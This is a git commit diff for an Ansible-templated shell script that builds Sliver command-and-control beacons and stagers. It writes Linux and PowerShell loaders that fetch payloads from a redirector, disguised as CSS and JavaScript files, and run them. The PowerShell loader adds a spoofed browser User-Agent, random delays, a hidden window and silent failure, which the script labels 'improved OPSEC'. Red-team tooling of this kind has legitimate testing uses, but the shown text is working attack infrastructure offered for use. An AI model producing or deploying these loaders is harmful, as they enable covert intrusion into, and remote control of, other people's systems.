getting closer
This commit is contained in:
@@ -4,9 +4,8 @@
|
||||
# Configuration (automatically populated by Ansible)
|
||||
BEACONS_DIR="/opt/beacons"
|
||||
C2_HOST="{{ ansible_host }}"
|
||||
REDIRECTOR_HOST="{{ redirector_subdomain }}.{{ domain }}"
|
||||
REDIRECTOR_HOST="cdn.{{ domain }}"
|
||||
REDIRECTOR_PORT="{{ redirector_port | default('443') }}"
|
||||
TEMP_DIR=$(mktemp -d)
|
||||
|
||||
# Ensure required directories exist
|
||||
mkdir -p $BEACONS_DIR/staged
|
||||
@@ -100,36 +99,63 @@ stager_win=$(random_output_name "windows")
|
||||
sliver-client generate stager --profile $stager_profile --os windows --arch amd64 --format exe --save "$BEACONS_DIR/staged/$stager_win"
|
||||
echo "[+] Windows stager: $BEACONS_DIR/staged/$stager_win (Profile: $stager_profile)"
|
||||
|
||||
# Create loader scripts with redirector integration
|
||||
echo "#!/bin/bash
|
||||
# Loader script for Linux beacon
|
||||
curl -s https://$REDIRECTOR_HOST/static/css/linux.css -H \"Accept-Language: en-US,en;q=0.9\" -o /tmp/linux_update
|
||||
chmod +x /tmp/linux_update
|
||||
/tmp/linux_update &" > "$BEACONS_DIR/linux_loader.sh"
|
||||
chmod +x "$BEACONS_DIR/linux_loader.sh"
|
||||
|
||||
# Create PowerShell stager with improved OPSEC
|
||||
cat > "$BEACONS_DIR/windows_loader.ps1" << EOF
|
||||
# Windows PowerShell Beacon Loader
|
||||
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12
|
||||
\$ErrorActionPreference = "SilentlyContinue"
|
||||
\$wc = New-Object System.Net.WebClient
|
||||
\$wc.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36")
|
||||
\$wc.Headers.Add("Accept-Language", "en-US,en;q=0.9")
|
||||
\$wc.Headers.Add("Referer", "https://$REDIRECTOR_HOST/")
|
||||
\$url = "https://$REDIRECTOR_HOST/static/js/update.js"
|
||||
\$outpath = "\$env:TEMP\\random-\$(New-Guid).exe"
|
||||
try {
|
||||
\$wc.DownloadFile(\$url, \$outpath)
|
||||
Start-Sleep -Milliseconds (Get-Random -Minimum 500 -Maximum 3000)
|
||||
Start-Process -WindowStyle Hidden -FilePath \$outpath
|
||||
} catch {
|
||||
# Fail silently
|
||||
# Create a manifest file for the serve-beacons.sh script to use
|
||||
cat > "$BEACONS_DIR/manifest.json" << EOF
|
||||
{
|
||||
"windows_exe": "$win_output",
|
||||
"windows_dll": "$dll_output",
|
||||
"linux_binary": "$linux_output",
|
||||
"macos_binary": "$mac_output",
|
||||
"windows_stager": "staged/$stager_win",
|
||||
"win_profile": "$win_profile",
|
||||
"dll_profile": "$dll_profile",
|
||||
"linux_profile": "$linux_profile",
|
||||
"mac_profile": "$mac_profile",
|
||||
"stager_profile": "$stager_profile",
|
||||
"redirector_host": "$REDIRECTOR_HOST",
|
||||
"redirector_port": "$REDIRECTOR_PORT",
|
||||
"c2_host": "$C2_HOST",
|
||||
"generated_date": "$(date)"
|
||||
}
|
||||
EOF
|
||||
|
||||
# Create loader scripts with redirector integration
|
||||
cat > "$BEACONS_DIR/linux_loader.sh" << 'EOFLINUX'
|
||||
#!/bin/bash
|
||||
# Loader script for Linux beacon
|
||||
curl -s https://REDIRECTOR_PLACEHOLDER/static/css/linux.css -H "Accept-Language: en-US,en;q=0.9" -o /tmp/linux_update
|
||||
chmod +x /tmp/linux_update
|
||||
/tmp/linux_update &
|
||||
EOFLINUX
|
||||
|
||||
# Replace placeholder with actual redirector host
|
||||
sed -i "s/REDIRECTOR_PLACEHOLDER/$REDIRECTOR_HOST/g" "$BEACONS_DIR/linux_loader.sh"
|
||||
chmod +x "$BEACONS_DIR/linux_loader.sh"
|
||||
|
||||
# Create PowerShell stager with improved OPSEC
|
||||
cat > "$BEACONS_DIR/windows_loader.ps1" << 'EOFPS'
|
||||
# Windows PowerShell Beacon Loader
|
||||
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12
|
||||
$ErrorActionPreference = "SilentlyContinue"
|
||||
$wc = New-Object System.Net.WebClient
|
||||
$wc.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36")
|
||||
$wc.Headers.Add("Accept-Language", "en-US,en;q=0.9")
|
||||
$wc.Headers.Add("Referer", "https://REDIRECTOR_PLACEHOLDER/")
|
||||
$url = "https://REDIRECTOR_PLACEHOLDER/static/js/update.js"
|
||||
$outpath = "$env:TEMP\update-$(New-Guid).exe"
|
||||
try {
|
||||
$wc.DownloadFile($url, $outpath)
|
||||
Start-Sleep -Milliseconds (Get-Random -Minimum 500 -Maximum 3000)
|
||||
Start-Process -WindowStyle Hidden -FilePath $outpath
|
||||
} catch {
|
||||
# Fail silently
|
||||
}
|
||||
EOFPS
|
||||
|
||||
# Replace placeholder with actual redirector host
|
||||
sed -i "s/REDIRECTOR_PLACEHOLDER/$REDIRECTOR_HOST/g" "$BEACONS_DIR/windows_loader.ps1"
|
||||
|
||||
# Create index of generated files
|
||||
echo "[+] Creating reference file with beacon details"
|
||||
cat > "$BEACONS_DIR/reference.txt" << EOF
|
||||
C2 Server Details:
|
||||
- C2 IP: $C2_HOST
|
||||
@@ -150,6 +176,5 @@ Usage:
|
||||
IMPORTANT: These beacons will connect to $REDIRECTOR_HOST on port $REDIRECTOR_PORT
|
||||
EOF
|
||||
|
||||
# Cleanup temporary files
|
||||
rm -rf $TEMP_DIR
|
||||
echo "[+] Beacon generation with redirector integration complete"
|
||||
echo "[+] Beacon generation with redirector integration complete"
|
||||
echo "[+] Run serve-beacons.sh to start serving these Sliver beacons"
|
||||
Reference in New Issue
Block a user